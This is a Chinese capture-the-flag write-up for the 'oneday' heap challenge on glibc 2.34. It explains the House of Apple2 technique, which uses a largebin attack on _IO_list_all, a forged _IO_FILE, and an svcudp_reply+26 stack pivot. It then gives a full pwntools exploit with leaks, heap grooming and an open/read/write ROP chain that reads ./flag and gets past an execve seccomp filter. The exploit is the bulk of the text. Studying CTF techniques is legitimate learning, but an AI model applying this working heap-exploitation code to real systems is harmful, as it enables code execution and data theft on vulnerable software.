0%

House Of Apple-2.34-64

oneday

1
GNU C Library (GNU libc) stable release version 2.34.\n
1
2
3
4
5
6
oneday: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f0ed246b7bd4e5f07caab6ba718a7e0e05c918b7, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
9
10
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
  • 禁用 execve

入侵思路

使用 House Of Apple2:

  • 先用一个 largebin attack 来劫持 stderr _IO_FILE
  • 完成 House Of Apple2 的伪造
  • main 函数返回后执行 exit,触发 IO 流

这其中需要注意一个问题,该程序只有一次输出的机会,也就是说 largebin attack 和 _IO_FILE 的伪造必须放入用一个 chunk 中

但 largebin attack 的效果是把 unsorted chunk 放入 _IO_list_all,那么就必须先利用堆风水让 unsorted chunk 和 large chunk 重叠

  • 具体的方法就是释放遗留在 chunk_list 中的 chunk 指针(向 large chunk 写入数据时,就要伪造目标 chunk,使其合法)

调用链如下:

1
exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wfile_overflow -> _IO_wdoallocbuf -> target

本题目还需要一个特殊的 gadget 来劫持程序流 libc.sym['svcudp_reply']+26,它的效果和 setcontext+61 类似,但它需要控制 RDI 寄存器:

1
2
3
4
5
6
0x7f02e97842ba <svcudp_reply+26>    mov    rbp, qword ptr [rdi + 0x48]
0x7f02e97842be <svcudp_reply+30> mov rax, qword ptr [rbp + 0x18]
0x7f02e97842c2 <svcudp_reply+34> lea r13, [rbp + 0x10]
0x7f02e97842c6 <svcudp_reply+38> mov dword ptr [rbp + 0x10], 0
0x7f02e97842cd <svcudp_reply+45> mov rdi, r13
0x7f02e97842d0 <svcudp_reply+48> call qword ptr [rax + 0x28]
  • 由于本题目没法控制 RDX 寄存器,因此才用这种方式来替代 setcontext+61
  • RDI 寄存器其实就指向 fake_IO_FILE 的起始地址,也就是 fake_io_addr

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
from pwn import *

arch = 64
challenge = './oneday1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

local = 1
if local:
p = process(challenge)
else:
p = remote('172.51.221.20','9999')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x1B0A)\n")
pause()

def choice(i):
p.sendlineafter("enter your command: \n",str(i))

def add(mod):
choice(1)
p.sendlineafter("choise: ",str(mod))

def dele(index):
choice(2)
p.sendlineafter("Index: \n",str(index))

def edit(index,message):
choice(3)
p.sendlineafter("Index: ",str(index))
p.sendafter("Message: \n",message)

def show(index):
choice(4)
p.sendlineafter("Index: ",str(index))

p.sendlineafter("enter your key >>\n",str(10))

add(2)
add(2)
add(2)
add(2)
add(2)
dele(2)
dele(0)
show(0)

p.recvuntil("Message: \n")

leak_addr = u64(p.recv(8))
heap_base = leak_addr - 0x1810
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

leak_addr = u64(p.recv(8))
libc_base = leak_addr - 0x1f2cc0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

_IO_list_all = libc_base + libc.sym["_IO_list_all"]
setcontext = libc_base + libc.sym["setcontext"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
magic_gadget = libc_base + libc.sym['svcudp_reply'] + 26
success("_IO_list_all >> "+hex(_IO_list_all))
success("magic_gadget >> "+hex(magic_gadget))

pop_rax_ret = 0x00000000000446c0 + libc_base
pop_rdi_ret = 0x000000000002daa2 + libc_base
pop_rsi_ret = 0x0000000000037c0a + libc_base
pop_rdx_rbx_ret = 0x0000000000087729 + libc_base
syscall_ret = 0x00000000000883b6 + libc_base
leave_ret = 0x0000000000052d72 + libc_base
ret = 0x000000000002d446 + libc_base
add_rsp_ret = 0x0000000000103936 + libc_base

dele(1)
dele(3)
dele(4)
add(1)
add(1)
add(2)
add(1)
dele(7)
dele(8)
add(1)
add(1)
add(1)

fake_io_addr = heap_base + 0x22d0
flag_addr = heap_base + 0x2540
shellcode_addr = heap_base + 0x2540

shellcode = "./flag".ljust(0x8,"\x00")
shellcode += p64(add_rsp_ret)
shellcode = shellcode.ljust(0x18, '\x00')
shellcode += p64(shellcode_addr)
shellcode = shellcode.ljust(0x28, '\x00')
shellcode += p64(leave_ret)
shellcode += p64(0)*5
# open(heap_addr,0)
shellcode += p64(pop_rax_ret) + p64(2)
shellcode += p64(pop_rdi_ret) + p64(flag_addr)
shellcode += p64(pop_rsi_ret) + p64(0)
shellcode += p64(pop_rdx_rbx_ret) + p64(0) + p64(0)
shellcode += p64(syscall_ret)
# read(3,heap_addr,0x60)
shellcode += p64(pop_rax_ret) + p64(0)
shellcode += p64(pop_rdi_ret) + p64(3)
shellcode += p64(pop_rsi_ret) + p64(flag_addr+0x300)
shellcode += p64(pop_rdx_rbx_ret) + p64(0x60) + p64(0)
shellcode += p64(syscall_ret)
# write(1,heap_addr,0x60)
shellcode += p64(pop_rax_ret) + p64(1)
shellcode += p64(pop_rdi_ret) + p64(1)
shellcode += p64(pop_rsi_ret) + p64(flag_addr+0x300)
shellcode += p64(pop_rdx_rbx_ret) + p64(0x60) + p64(0)
shellcode += p64(syscall_ret)

chunkA = "chunka" # fake_io_addr+0xe0
chunkA = chunkA.ljust(0xe0, '\x00')
chunkA += p64(fake_io_addr+0x200)

chunkB = "chunkb" # fake_io_addr+0x200
chunkB = chunkB.ljust(0x68, '\x00')
chunkB += p64(magic_gadget)

fake_IO_FILE = p64(0) #_flags=0
fake_IO_FILE += p64(0xab1-0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0x48, '\x00')
fake_IO_FILE += p64(shellcode_addr)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(0xffffffffffffffff)
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(libc_base+0x1f5720) # _lock
fake_IO_FILE += p64(0xffffffffffffffff)
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE += p64(fake_io_addr+0xe0)# _wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(_IO_wfile_jumps) # vtable=IO_wfile_jumps
fake_IO_FILE = fake_IO_FILE.ljust(0xe0, '\x00')
fake_IO_FILE += chunkA
fake_IO_FILE = fake_IO_FILE.ljust(0x200, '\x00')
fake_IO_FILE += chunkB

payload = ""
payload += p64(heap_base)+p64(_IO_list_all-0x20)
payload += fake_IO_FILE
payload += shellcode
payload = payload.ljust(10*0x110-0x10,"\x00")
payload += p64(0) + p64(0xab1)

dele(10)
add(3)
edit(8,payload)
dele(3)
add(3)
debug()

choice(6)

p.interactive()

小结:

本题目我花了很长的时间,从堆风水的搭建,到 _IO_FILE 的伪造,再到控制程序流,这些步骤都不好完成

但 House Of Apple2 的确很好用,常常需要 libc.sym['svcudp_reply']+26 来劫持控制流

而 House Of Apple 则可以利用一次 largebin attack 来同时写入多个已知数据